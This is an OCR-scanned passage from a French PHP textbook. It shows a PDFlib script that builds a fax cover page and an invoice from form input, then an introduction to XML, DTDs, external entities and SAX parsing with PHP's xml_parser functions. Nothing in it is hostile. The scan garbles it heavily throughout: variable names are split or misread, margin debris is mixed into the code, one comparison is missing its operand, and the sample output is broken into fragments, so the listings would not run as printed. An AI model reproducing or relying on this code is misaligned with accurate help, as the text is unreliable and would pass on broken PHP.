if ($font) { 

pdf_setfont ($pdf , $font, 15); 
} else { 

die ("Police d'ecriture introuvable") ; 

} 

// Demande d'afficher que le contour du texte 
pdf_set_value($pdf , "textrenderi ng" , 1); 

// Affichage de "Bible PHP" 

pdf_show_xy($pdf, "Bible PHP" , 175, $hauteur-125) ; 

// Choi sir la police Courier de taille 8 
pdf_setfont($pdf, $font, 8); 
// Demande d'afficher du texte plein 
pdf_set_value($pdf , "textrenderi ng" , 0); 

// Affichage de l'adresse de 1'expediteur dans un rectangle 
// en justifiant le texte 
pdf_show_boxed($pdf , 

"Bible PHP\r\nChemin des acaci as\r\n20876 Germantown\r\n" . 

"Tel: 02 00 00 00 00", 0, $hauteur-100-100, 100, 100, 

"full justify"); 

// Placement du logo sur le modele 

pdf_place_image($pdf , $logopdf, $1 argeur-100-50, $hauteur-100-50, 0.5); 

//Changement de la taille du texte a 8 points 
pdf_setfont($pdf, $font, 8); 

// Affiche un texte centre en bas de page 
pdf_show_boxed($pdf , "Copyright. SARL Capital Euros", 0, 0, 
$largeur-100, 15, "center"); 

//Fin de la definition du modele 
pdf_end_templ ate ($pdf ) ; 

// Fermeture de 1' image ouverte avant la declaration du modele 
pdf_close_image($pdf , $logopdf); 



// Creer une nouvelle page: la page de garde 
pdf_begi n_page($pdf , $largeur, $hauteur) ; 
// Placement du modele sur la page 
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pdf_place_image($pdf , $mi seEnPage, 50, 50, 1); 

// Choi sir la police Courier de tail 1 e 10 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 

if ($font) { 

pdf_setfont($pdf, $font, 10); 
} else { 

di e ( " Pol ice d'ecriture i ntrouvabl e") ; 

} 

// Demande d'afficher du texte plein 

pdf_set_val ue($pdf , "textrenderi ng" , 0); 

// Affichage du nom et du numero de fax du destinataire 

pdf_show_boxed($pdf, "Pour: " .$_P0ST["nom"] . " " .$_P0ST["prenom"] . 

"\r\nFax: " .$_P0ST["fax"] , $1 argeur-200, $hauteur-300, 

150, 100, "right", ""); 

// Changement de la taille du texte a 14 points 
pdf_setfont($pdf, $font, 14); 
// Demande d'afficher du texte plein 
pdf_set_val ue($pdf , "textrenderi ng" , 0); 

// Texte a afficher 

$texte = "Monsieur, \r\n\r\n" . 

" Vous trouverez dans ce fac-simile, une facture comme". 

" nous avions convenu. Le montant de cette facture est". 

" hors taxes et". 

" payable a l'ordre de V'Monsieur Bible PHP\".\r\n". 
" Nous venons de modifier notre systeme de gestion de factures". 
" et nous serons heureux de vous envoyer cette facture par ". 
" courrier electronique dans un format". 

" lisible par tous, le PDF.\r\n\r\nRecevez Monsieur, mes meilleures" 
" salutations. \r\n\r\n " 
" Le president."; 

// Affichage du texte precedent sur la page 

pdf_show_boxed($pdf, $texte , 50, 100, $1 argeur-100, 400, "justify", ""); 

// Termine la page 
pdf_end_page($pdf) ; 

// Creer une nouvelle page: la facture 
pdf_begi n_page($pdf , $largeur, $hauteur) ; 

// Placement du model e sur la page 
pdf_place_image($pdf , $miseEnPage, 50, 50, 1); 

// Choi sir la police Courier de taille 10 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 

if ($font) { 

pdf_setfont($pdf, $font, 10); 
} else { 

di e ( " Pol ice d'ecriture i ntrouvabl e") ; 

} 



Creer un modele 



// Demande d'afficher du texte plein 

pdf_set_value($pdf , "textrenderi ng" , 0); 

// Affichage du nom et du numero de fax du desti natai re 

pdf_show_boxed($pdf, "Pour: " .$_P0ST["nom"] . " " .$_POST["prenom"] . 

"\r\nFax: " .$_P0ST["fax"] , $1 argeur-200, $hauteur-300, 

150, 100, "right", ""); 
//Changement de la taille du texte a 35 points 
pdf_setfont($pdf , $font, 35); 

// Affichage du titre "Facture" 

pdf_show_xy($pdf , "Facture" , 150, $hauteur-100-50) ; 

//Changement de la taille du texte a 15 points 
pdf_setfont($pdf, $font, 15); 

// Texte a afficher 

$texte="Facture No: " .$_P0ST["no"] . "\r\nMontant: " .$_P0ST["montant"] . 
" Euros H.T.\r\n". 

"Objet de prestation: " .stripsl ashes ($_P0ST["prestation"] ). "\r\n" . 
"TVA non applicable, article 293B du CGI"; 



// Affiche le texte aligne a gauche 

pdf_show_boxed($pdf, $texte, 50, 100, $1 argeur-100, 300, "left", ""); 



// Termine la page 
pdf_end_page($pdf) ; 



// Ferme le document PDF 

pdf_close($pdf) ; _^ 

// Recupere les donnees du document g- *> 

$donnees = pdf_get_buffer($pdf) ; g 

II Efface 1 'objet PDF de la memoire et les ressources associees 3 a 

pdf delete($pdf) ; = g 

_ CO — 

-D 5" 

/kkkk-kkk-kkkkkkkkkkk-kkk-kkkkkkkkkkkkkkkk / 1—1 3 

' ' -no. 

/* Cette partie concerne 1 'affichage */ cd 

/* du document, les donnees sont */ 
/* pretes, il suffit de les envoyer. */ 

J ************************************* J 

header("Content-type: appl ication/pdf ") ; 
header("Content-Length: " .strlen($donnees)) ; 
header("Content-Di sposition: inline; filename=test.pdf") ; 
echo $donnees; 

?> 



Ce script cree un fichier PDF de deux pages ; la premiere est la page de garde d'un fax : 
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Introduction 



15.1. Introduction 

Presentation du langage XML 

Ces dernieres annees, vous avez certainement beaucoup entendu parler du langage XML. La 
plupart en disent le plus grand bien, et il est de plus en plus utilise dans l'industrie. Toutefois, 
beaucoup n'ont encore qu'une vague idee de ce qu'il est, tandis que d'autres pensent (a tort) 
qu'il s'agit d'une evolution du langage HTML. 

En fait, XMLdefinit avant tout des regies tres simples de description d'informations 
(generalement stockees dans des fichiers). En quelques mots, respecter le standard XML, c'est 
stocker l'information sous forme de balises et d'attributs (un peu comme avec HTML). 

En revanche, en aucun cas XML ne s'attache a decrire la facon dont les informations seront 
presentees. II se peut d'ailleurs que les informations ne soient jamais affichees ou imprimees, 
mais seulement stockees et echangees entre serveurs et applications. Le traitement de 
l'information (y compris affichage ou impression) est laisse a la charge du parseur (ou 
analyseur) XML (logiciel pouvant etre ecrit en n'importe quel langage, y compris PHP, et qui 
pourra eventuellement s'appuyer sur le langage XSL). 

Contrairement au langage HTML, XML ne definit ni balises ni attributs. C'est a l'utilisateur, 
selon son corps de metier et ses besoins, de les definir. 

La bibliotheque libXml a fait sont entree avec PHP5. Elle remplace avantageusement les autres 
precedemment utilisees tout en gardant les memes signatures de fonctions. Ainsi une 
application utilisant XML ecrite pour PHP4 doit continuer a fonctionner sans probleme en 
passant a PHP5 meme si derriere il ne se passe pas exactement la meme chose. 

L'avantage de libXML est qu'elle supporte l'analyse SAX et DOM, de plus il se trouve que 
cette bibliotheque est tres performante. 



INTERNET 



Comparatif 

A titre (['information void une adresse ou vous pouvez comparer les differents 
analyseurs syntaxiques, vous verrez que libXml est tres bien placee. 
http:llxmlbench.sourceforge.net/index.php?page=results.php 



REMARQUE 



Specifications 

Les langages XML et XSL sont decrits par le W3C. 



x = 

3 55" 
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Le format XML 

Un fichier bien forme 

Un fichier XML : 

Commence par un en-tete <?xml version="i.O" encoding= "utf-8 " ?> precisant qu'il 
s'agit d'un document XML respectant la norme de la version 1.0, et utilisant des caracteres 
codes en "UTF-8" (il est possible de preciser un autre encodage). 
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Ne possede qu'une balise racine (autrement dit, l'ensemble des balises du document XML, 
hormis l'en-tete doit etre compris entre <baliseracine> et </baliseracine>). Peu 
importe le nom de cette balise. 

Toute balise ouverte doit etre refermee (si il n'y a pas de balise ou de texte entre les balises 
ouvrante et fermante, <balisex/balise> peut etre remplace par <baiise />). 

Les noms des balises doivent commencer par une lettre ou un underscore ('_'). Les 
caracteres suivants peuvent etre des chiffres, des lettres, un underscore, un point ou un tiret. 

Un nom de balise ne peut pas commencer par "xml". 

Les balises ne peuvent se chevaucher (il ne peut y avoir <baliselxbalise2> 
</baliselx/balise2>). 

Les noms des balises sont generalement en minuscules. 
Un document respectant ces regies est dit bien forme. 

Un fichiervalide(DTD) 

Bien qu'il suffise qu'un document soit bien forme pour qu'il s'agisse d'un document XML, ce ne 
sont generalement pas des conditions suffisantes pour assurer son bon traitement par un 
analyseur. 

En effet, selon le corps de metier, nous nous attendrons a avoir un document XML contenant 
telle ou telle balise. Les contraintes seront certainement meme plus fortes, puisqu'une balise 
donnee devra contenir un certain type d'attributs et de balises. 

Pour assurer qu'un document respecte ces contraintes supplementaires, ces dernieres seront 
exprimees sous la forme d'un document appele DTD, dont voici un exemple : 

<?xml version="1.0" encodi ng="UTF-8" ?> 

<! ELEMENT annual re (personne*)> 

<!ELEMENT personne (nom, personne, email+)> 

<!ATTLIST personne profession (etudiant | professeur | chanteur | musicien) 

x "etudiant"> 

<! ELEMENT nom (#PCDATA)> 

<! ELEMENT prenom (#PCDATA)> 

<! ELEMENT email (#PCDATA)> 

Un tel document precise que la balise "annuaire" doit comporter entre zero et plusieurs balises 
"personne" (ceci est indique par le caractere '*'). La balise "personne" doit contenir, dans cet 
ordre, exactement une balise "nom", une balise "personne" et une ou plusieurs balises "email" 
(ceci est indique par le caractere '+'). La balise "personne" possede un attribut "profession" 
qui pourra prendre une des valeurs parmi "etudiant", "professeur", "chanteur", 
"musicien". Si cet attribut n'est pas precise, il prendra pour valeur "etudiant". Les balises 
"nom", "prenom" et "email" contiendront simplement du texte. 

Nous n'irons pas plus loin dans la description de la DTD. 

Un fichier DTD presente tout de meme un gros defaut. En effet, il ne s'agit pas d'un document 
XML (bien forme). Ainsi, petit a petit, l'utilisation de la DTD devrait laisser place a son 
equivalent XML : "XML Schema" que nous n'aborderons pas ici. 
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XML, XML Schema et DTD 

Vous trouverez plus d 'informations surXML, XML Schema et la DTD, sur les sites : 



INTERNET http://www.xmlfacile.com 

http://www.xmlfr.org/documentations/ 

Sans oublierla reference (en anglais) : 
http://www. w3.org/XML/ 

et sa traduction : 

http://babel.alis.com/web_ml/xml/REC-xml.fr.html 



Exemple de document XML 

Comme nous l'avons vu, XML impose tres peu de regies. II peut done convenir a tous les 
domaines d'applications. Prenons 1'exemple d'une mediatheque desireuse de decrire sa liste de 
CD audio dans un document XML. Un tel fichier pourra ressembler a : 

Listing 15.1 : mediatheque_01 .xml 

<?xml version="1.0" encoding="IS0-8859-l" ?> 
<medi atheque> 

<cdaudio i nterprete="Noi r Desir" titre="des Visages des Figures"> 
<chanson> 

<titre>L'enfant roi</titre> 

<duree>6:03</duree> 
</chanson> 
<chanson> 

<titre>Le grand incendie</titre> 

<duree>4:37</duree> 
</chanson> 
<chanson> 

<titre>Le vent nous portera</ti tre> 

<duree>4:48</duree> 
</chanson> 
</cdaudio> 

<cdaudio interprete="Placebo" titre="Without You I'm Nothing"> 
<chanson> 

<titre>Pure Morning</titre> 

<duree>4: 15</duree> 
</chanson> 
<chanson> 

<titre>Without You I'm Nothi ng</ti tre> 
<duree>4 : 30</duree> 
</chanson> 
<chanson> 

<titre>Every You, Every Me</titre> 
<duree>5:00</duree> 
</chanson> 
</cdaudio> 
</mediatheque> 
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Mais, encore une fois, le choix n'etant pas impose, il est fait de facon totalement arbitraire. Par 
exemple : nous aurions pu choisir de creer une balise "interprete" plutot que d'en faire un 
attribut de la balise "cdaudio". Tout comme nous aurions pu avoir un attribut "titre" pour 
"chanson" plutot que d'en faire une balise (ce qui aurait certainement ete plus judicieux, mais 
aurait constitue un exemple moins interessant). 

Quoi qu'il en soit, nous avons (pour les parties renseignees) toutes les informations necessaires 
au bon deroulement des operations. Peut-etre meme que certaines de ces informations ne 
seront finalement pas utilisees (ou seulement dans certains cas). 

Vous remarquerez qu'il est souhaitable d'indiquer que le document est un document XML 
repondant a la norme etablie dans la version 1.0. II est egalement preferable de preciser quel 
type d'encodage est utilise : ISO-8859-1, UTF-8 (i.e. comment sont codes les caracteres 
accentues ou les caracteres non europeens). 



REMARQUE 



Exemples d'encodage 

UTF-8 : est destine a supporter tous les styles de caracteres. 
US-ASCII : correspond awe caracteres anglais. 
ISO-8859-1 : correspond aiix caracteres utilises en Europe de VOuest. 
ISO-8859-2 : correspond aux caracteres utilises en Europe centrale. 
ISO-8859-9 : correspond aux caracteres turcs. 
EUC-JP : correspond aux caracteres japonais (sous UNIX), 
etc. 

Bref, il existe un grand nombre d'encodages. Mais, heureusement, un effort 
d'harmonisation a ete entrepris et Vencodage UTF-8 (ou l'UTF-16) devrait, a terme, 
s'imposer. 

Toutefois, les fichiers XML peuvent etre un poil plus complexes s'ils utilisent, par exemple, des 
declarations de type de documents <!doctype . . .> incluant (pourquoi pas) des <! entity 
. . . > avec des references internes et externes. Le but etant d'utiliser des alias afin de remplacer, 
par exemple, un mot-cle par une longue chaine de caracteres ou par un fichier complet. 

Listing 15.2 : mediatheque_01b.xml 



g ^ <?xml version="1.0" encoding="IS0-8859-l" ?> 

= >| <!D0CTYPE mediatheque [ 

<! ENTITY OKComputer SYSTEM "mediatheque_02.xml "> 
^ <!ENTITY nc "Non communique"> 

<mediatheque> 

<cdaudio i nterprete="Noi r Desir" titre="des Visages des Figures"> 
<chanson> 

<titre>L' enfant roi</titre> 

<duree>6:03</duree> 
</chanson> 
<chanson> 

<titre>Le grand incendie</titre> 

<duree>4 : 37</duree> 
</chanson> 
<chanson> 
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<titre>Le vent nous portera</ti tre> 
<duree>4:48</duree> 
</chanson> 
</cdaudio> 

<cdaudio interprete="Placebo" titre="Without You I'm Nothing"> 
<chanson> 

<titre>Pure Morning</titre> 

<duree>4: 15</duree> 
</chanson> 
<chanson> 

<titre>Without You I'm Nothi ng</ti tre> 
<duree>4 : 30</duree> 
</chanson> 
<chanson> 

<titre>Every You, Every Me</titre> 
<duree>5:00</duree> 
</chanson> 
</cdaudio> 
&OKComputer; 

<cdaudio i nterprete="Muse" titre="Showbiz"> 
<chanson> 

<titre>Feel ing Good</titre> 
<duree>&nc;</duree> 
</chanson> 
</cdaudio> 
</mediatheque> 



Listing 15.3 : mediatheque_02.xml 

<?xml version="1.0" encoding="IS0-8859-l" ?> 

<cdaudio interprete="Radiohead" titre="0K Computer"> 
<chanson> 

<titre>Karma Pol ice</titre> 
<duree>4:23</duree> 
</chanson> 
</cdaudio> 



Mais, meme ce genre de fichier XML (faisant appel a un autre fichier XML) pourra etre 
analyse par PHP, comme nous allons tres bientot le voir... 



Utilisation des documents XML 

Les documents XML pourront etre lus par un analyseur XML (parseur), transformes par un 
analyseur XSL, ou pourront simplement servir de support d'echange (comme WDDX). 
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15.2. Installation 

Depuis PHP 4, le support de XML est active par defaut (mais peut etre desactive par l'option 
de compilation — disabie-xml). Vous n'aurez done, a priori, rien a faire de special pour 
pouvoir profiter des fonctions decrites dans ces chapitres. Depuis PHP5, une seule bibliotheque 
(libXml) permet de s'occuper des differentes methodes d'analyse syntaxique et de 
transformation, il est cependant possible de desactiver certaines parties. 

Vous pouvez vous assurer du support de libXML en appelant un script contenant uniquement 
<?php phpinf o ( ) ; ?>, qui devra alors afficher : 



libxml 


libXML support 


active 


libXML Version 


2.5.11 


liliXML streams 


enabled 



Figure 15.1 : 

phpinf o() 



15.3. Les parseurs 

Dans PHP4, le parseur appele expat etait integre par defaut et il n'y avait rien a faire pour 
profiter de ses fonctions. Depuis PHP5, expat a ete remplace par libXml qui est egalement 
integree et qui offre en outre la meme API. Ainsi les fonctions decrites ci-dessous pour libXML 
(PHP5) sont valides pour expat (PHP4) et inversement... 

Un autre parseur appele SimpleXML est disponible depuis PHP5, comme son nom l'indique 
son utilisation est tres simple. 



Le parseur SAX 



Cette analyse de document est une analyse par evenement. C'est-a-dire qu'a chaque fois qu'une 
situation particuliere est rencontree (ouverture d'une balise, fermeture d'une balise, texte 
contenu dans une balise, etc.), une fonction donnee est appelee. 

■S Notre script PHP devra done comporter : 

c 

■2 Les declarations des fonctions devant etre appelees pour les evenements nous interessant. 

CO _l 

= S 

k X et les etapes suivantes : 

^ Creation du parseur XML ; 

■ Pour chaque type d'evenement, declaration des fonctions aupres du parseur ; 

■ Lancement de l'analyse proprement dite ; 

■ Liberation des ressources monopolisees par le parseur. 

xml_parser_create 

La creation du parseur XML se fait par simple appel a la fonction xml_parser_create ( ) . 
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xml_parser_create () 

Initialisation d'un parseur XML. 

Syntaxe resource xml_parser_create( [string $encodage]) 

$encodage Argument optionnel (insensible a la casse) precisant le type d'encodage de 

la source parmi : 
ISO- 8 859-1 (par defaut). 
US-ASCII. 
UTF-8. 

retour En cas de succes, une reference de parseur est retournee, FALSE sinon. 

La reference retournee sera alors utilisee dans tous les appels aux fonctions XML (nous aurions 
prefere un bel objet avec une serie de methodes mais bon...). 

Gestion des balises ouvrantes et fermantes avec 
xml_set_element_handler 

Dans une version minimaliste (pour commencer) de l'analyseur, nous ne nous interesserons 
qu'aux balises ouvrantes ou fermantes. Lorsque de tels elements sont rencontres, le parseur fait 
appel aux fonctions qui ont ete prealablement referencees par xml_set_element_handler ( ) . 



xml_set_element_handler () 



Declare aupres du parseur les fonctions a appeler lorsqu'une balise ouvrante ou fermante est 
rencontree. 

Syntaxe 



$parseur 

$fonctionBal i se 
Ouvrante 

$fonctionBal i se 
Fermante 

retour 



boolean xml_set_el ement_handl er (resource $parseur, string 
$foncti onBal i seOuvrante, string $fonctionBal i seFermante) 

Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

Nom de la fonction en charge des balises ouvrantes. 

Nom de la fonction en charge des balises fermantes. 

TRUE si l'operation s'est deroulee correctement, NULL sinon. 



x = 
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Fonction balise ouvrante 

La fonction (dont le nom sera precise par $f onctionBaliseOuvrante) devant traiter les 
balises ouvrantes aura l'interface suivante : 



Syntaxe 



[boolean] maFoncti on (resource $parseur, string $nomBalise, 
array $tabl eauAttri buts) 
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CO _l 

= X 



$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomBal i se Nom de la balise ouvrante. 

$tabl eauAttri buts Tableau associatif ayant pour cles les noms des attributs (en majuscules) 
contenus dans la balise et pour valeurs les valeurs des attributs. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees du fichier XML. 

Fonction balise fermante 

La fonction (dont le nom sera precise par $fonctionBaiiseFermante) devant traiter les 
balises fermantes aura l'interface suivante : 

Syntaxe [boolean] maFoncti on (resource $parseur, string $nomBal i se) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomBal i se Nom de la balise fermante. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees du fichier XML. 

xml_parse 

L'analyse d'un document XML consiste generalement a lire un fichier ligne par ligne et, pour 
chacune des lignes, a appeler xmljarse ( ) , en precisant s'il s'agit ou non de la derniere ligne. 



xml_parse() 

Analyse une chaine de caracteres avec un parseur XML. 

Syntaxe boolean xml_parse(resource $parseur, string $ligne [, boolean 

$derniereLigne] ) 

$parseur Reference du parseur telle que retournee par la fonction 

xml parser create ( ) . 

$1 i gne Chaine de caracteres a analyser. 

$derni ereLi gne TRUE s'il s'agit des dernieres donnees a traiter, FALSE (par defaut) sinon. 
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retour 1 (mais pas strictement TRUE) si l'operation s'est deroulee correctement, 

(mais pas strictement FALSE) en cas d'echec. Pour certaines fonctions 
de gestion des evenements (xml_set_external_entity 
_ref_handler ( ) ), l'operation sera considered en echec si elles ne 
retournent pas TRUE. Ce n'est en revanche pas le cas des fonctions 
xml_set_element_handler ( ) et xml_set_character_data 
_handler ( ) . 

Selon les elements rencontres, les differentes fonctions chargees des evenements seront 
appelees. 

xml_parser_free 

A la fin de I'analyse, il est bon de liberer les ressources qui ont ete allouees par le parseur. Pour 
cela, il suffit d'un simple appel a xmi_parser_f ree ( ) . 



xml_parser_free () 



Libere les ressources allouees au parseur. 

Syntaxe boolean xml_parser_free(resource $parseur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

retour TRUE en cas de succes, NULL en cas d'echec. 



Premier exemple d'application 

Ceci nous permet done de creer notre premier script d'analyse de document XML (qui, pour 
l'instant, reste basique et ne gere pas les erreurs). 

Listing 15.4 : expat_01.xml 

<?php 

$fichier = " . ./src_xml /medi atheque_01 .xml " ; 

// Exemple de fonction gerant 
// les balises ouvrantes 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 

echo "La balise ouvrante : $nomBal i se<br />\n"; 
if ( count($tableauAttributs) > ) { 

echo "...avec les attri buts :<br />\n"; 

while ( list($attribut, $valeur) = each($tableauAttributs) ) { 
echo "   $attri but = $valeur<br />\n"; 

} 



x = 
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return TRUE; 

} 

// Exemple de fonction gerant 
// les balises fermantes 

function fonctionBaliseFermante($parseur, $nomBalise) 

{ 

echo "La balise fermante: $nomBal ise<br />\n"; 
return TRUE; 

} 

// Creation du parseur XML 
SparseurXML = xml_parser_create() ; 

// Association des fonctions 

// de traitement des balises ouvrantes et fermantes 
xml_set_el ement_handl er (SparseurXML, "fonctionBal i seOuvrante" , 
s-c "fonctionBaliseFermante") ; 



// Ouverture du fichier 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

// Lecture du fichier ligne par ligne 

echo "Lors du parcours du fichier XML. J'ai rencontre:<br />"; 
while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML") ; 

} 



// Liberation des ressources 
xml_parser_free($parseurXML) ; 
fclose($fp); 

£ ?> 

c 
o 

■J3 _| Ceci aura pour effet d'afficher : 

i s 

■■3 Lors du parcours du fichier XML. J'ai rencontre: 

J La balise ouvrante : MEDIATHEQUE 

ui La balise ouvrante : CDAUDIO 

...avec les attributs: 

INTERPRETE = Noir Desir 

TITRE = des Visages des Figures 

La balise ouvrante : CHANSON 

La balise ouvrante : TITRE 

La balise fermante: TITRE 

La balise ouvrante : DUREE 

La balise fermante: DUREE 

La balise fermante: CHANSON 

La balise ouvrante : CHANSON 

La balise ouvrante : TITRE 
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La 


bal 


se 


fermante: 


TITRE 


La 


bal 


se 


ouvrante 


: DUREE 


La 


bal 


se 


fermante: 


DUREE 


La 


bal 


se 


fermante: 


CHANSON 


La 


bal 


se 


ouvrante 


: CHANSON 


La 


bal 


se 


ouvrante 


: TITRE 


La 


bal 


se 


fermante: 


TITRE 


La 


bal 


se 


ouvrante 


: DUREE 


La 


bal 


se 


fermante: 


DUREE 


La 


bal 


se 


fermante: 


CHANSON 


La 


bal 


se 


fermante: 


CDAUDIO 


La 


balise 


ouvrante 


: CDAUDIO 



...avec les attributs: 
INTERPRETE = Placebo 



TITRE 


= Wi 


thout You 


I'm Nothing 


La 


bal 


ise 


ouvrante 


CHANSON 


La 


bal 


ise 


ouvrante 


TITRE 


La 


bal 


ise 


fermante: 


TITRE 


La 


bal 


ise 


ouvrante 


DUREE 


La 


bal 


ise 


fermante: 


DUREE 


La 


bal 


ise 


fermante: 


CHANSON 


La 


bal 


ise 


ouvrante 


CHANSON 


La 


bal 


ise 


ouvrante 


i TITRE 


La 


bal 


ise 


fermante: 


TITRE 


La 


bal 


ise 


ouvrante 


' DUREE 


La 


bal 


ise 


fermante: 


DUREE 


La 


bal 


ise 


fermante: 


CHANSON 


La 


bal 


ise 


ouvrante 


CHANSON 


La 


bal 


i se 


ouvrante 


TITRE 


La 


bal 


ise 


fermante: 


TITRE 


La 


bal 


ise 


ouvrante 


DUREE 


La 


bal 


ise 


fermante: 


DUREE 


La 


bal 


ise 


fermante: 


CHANSON 


La 


bal 


ise 


fermante: 


CDAUDIO 


La 


balise 


fermante: 


MEDIATHEQUE 



Premiere constatation : le document a ete correctement analyse (on retrouve tous les attributs 
et balises contenus dans le fichier XML). Et c'est plutot une bonne nouvelle ! 

Seconde constatation : tous les noms de balises et attributs ont ete passes en majuscules. 

Enfin, dans cet exemple, le contenu des balises n'a pas ete traite. Ceci n'a rien d'etonnant, 
puisque nous nous sommes contentes de definir les fonctions des evenements balises ouvrantes 
et balises fermantes. 

La transformation ou non des noms des balises et des attributs est une option du parseur qui 
peut etre fixee par la fonction xml_parser_set_option ( ) . 
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xml_parser_set_option () 

Fixe les options du parseur (respect de la casse, encodage de sortie). 

Syntaxe boolean xml_parser_set_option(resource $parseur, int $option, 

mixed $val eur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$ o p t i o n Au choix, une valeur parmi : 

XML_OPTlON_CASE_FOLDlNG : force le passage en majuscules (par 
defaut TRUE). 

XML_OPTlON_TARGET_ENCODlNG : determine l'encodage de sortie 
(par defaut, celui precise du document en entree). 

$valeur Valeur a donner a l'option. 

retour TRUE en cas de succes, rien (mais pas strictement FALSE) sinon. 

II est possible de verifier la valeur d'une option avec xml_parser_get_option ( ) . 



xml_parser_get_option () 



Retourne les options du parseur. 

Syntaxe mixed xml_parser_get_option(resource $parseur, int $option) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$opti on Au choix, une valeur parmi : 

XML_OPTlON_CASE_FOLDlNG indiquant si les noms sont convertis en 
■= majuscules. 

o XML_OPTION_TARGET_ENCODING indiquant l'encodage de sortie. 

S ^ retour Valeur de l'option. 

!h X 

Li Ce premier exemple nous a permis de bien comprendre comment se deroule l'analyse. Voici 

in maintenant un exemple d'utilisation un peu plus concret, destine a afficher la liste des 

' r ~ interpretes et titres. 

Listing 15.5 : expat_02.php 

<?php 

$fichier = " . ./src_xml /medi atheque_01 .xml " ; 

// Exemple de fonction gerant 
// les balises ouvrantes 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 
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switch ($nomBal i se) { 
case "cdaudio" : 

echo $tableauAttributs["interprete"] ; 
echo " : "; 

echo $tableauAttributs["titre"] ; 

echo "<br />"; 

break; 

} 

return TRUE; 

} 

// Exemple de fonction gerant 
// les balises fermantes 

function fonctionBal i seFermante($parseur, $nomBalise) 
{ 

// Dans ce cas, je n'ai rien a faire.. 
return TRUE; 

} 

// Creation du parseur XML 
$parseurXML = xml_parser_create() ; 

// Force le parseur a respecter la casse 

xml_parser_set_option($parseurXML, XML_OPTION_CASE_FOLDING, FALSE) ; 

// Declaration des fonctions de traitement 
// des balises ouvrantes et fermantes 

xml_set_el ement_handl er ($parseurXML, "fonctionBal i seOuvrante" , 

"fonctionBaliseFermante") ; 

// Ouverture du fichier 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

// Lecture du fichier ligne par ligne 
while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML"); 

} 

// Liberation des ressources 
xml_parser_free($parseurXML) ; 
fclose($fp); 

?> 

donnera effectivement : 

Noir Desir : des Visages des Figures 
Placebo : Without You I'm Nothing 
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Voyons maintenant le moyen de traiter les autres evenements. 

Gestion du texte contenu dans les balises avec 
xml_set_character_data_handler 

La fonction xmi_set_character_data_handler ( ) vous permet de preciser quelle fonction 
doit traiter le texte contenu entre les balises ouvrante et fermante. 



CO _l 
SS X 



xml_set_character_data_handler() 



Declare aupres du parseur la fonction a appeler lorsque du texte est rencontre. 

Syntaxe boolean xml_set_character_data_handl er (resource $parseur, 

string $fonctionTexte) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$foncti onTexte Nom de la fonction en charge du traitement du texte. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction texte des balises 

La fonction (dont le nom sera precise par $f onctionTexte) devant traiter le texte contenu 
entre les balises aura l'interface suivante : 

Syntaxe [boolean] maFoncti on (resource $parseur, string $texte) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$texte Le texte rencontre. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees. 



Gestion du caractere & 

Lorsqu'une chaine de caracteres contient un & (indicateur de reference interne ou 



REMARQJE externe) celle-ci est scindee en plusieurs morceaux. II y a done dans ce cas plusieurs 
appels a la fonction decrite ici. 



Nous allons done pouvoir completer notre exemple afin d'afficher les noms et durees des 
chansons disponibles sur les albums. 
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Listing 15.6 : expat_03.php 

<?php 

$fichier = " . ./src_xml /medi atheque_01 .xml " ; 

// Exemple de fonction gerant 
// les balises ouvrantes 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 

// Pour les besoins de la fonction 
// fonctionTexte nous devons memoriser 
// les noms des balises rencontrees 
// dans une variable global e 
global $balises; 

$balises[] = $nomBalise; 

switch ($nomBalise) { 
case "cdaudio" : 
echo "<b>"; 

echo $tableauAttributs["interprete"] ; 
echo " : "; 

echo $tableauAttributs["titre"] ; 

echo "</bxbr />"; 

break; 



return TRUE; 

} 

// Exemple de fonction gerant 
// les balises fermantes 

function fonctionBal i seFermante($parseur, $nomBalise) 
{ 

// Une fois sorti de la balise 

// il faut mettre a jour la variable 

// global e memorisant les noms de balises 

// rencontrees, en supprimant le dernier nom 

global $balises; 

array_pop($balises) ; 

return TRUE; 



function fonctionTexte($parseur, $texte) 

{ 

// Pour savoir a quelle balise se rapporte 
// ce texte, il faut avoir au prealable 
// memorise les balises rencontrees 
// dans une variable globale 
global $balises; 



x = 

3 55" 
r- as 
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// Toutefois, dans notre cas, 
// Nous ne nous interessons qu'a la derniere 
// balise rencontree (sans tenir compte 
// des balises parentes) 

$derniereBal ise = $bal i ses [count ($bal i ses)-l] ; 
switch ($derniereBalise) { 
case "titre" : 

echo "- $texte"; 
break; 
case "duree": 

echo " $texte<br />"; 
break; 

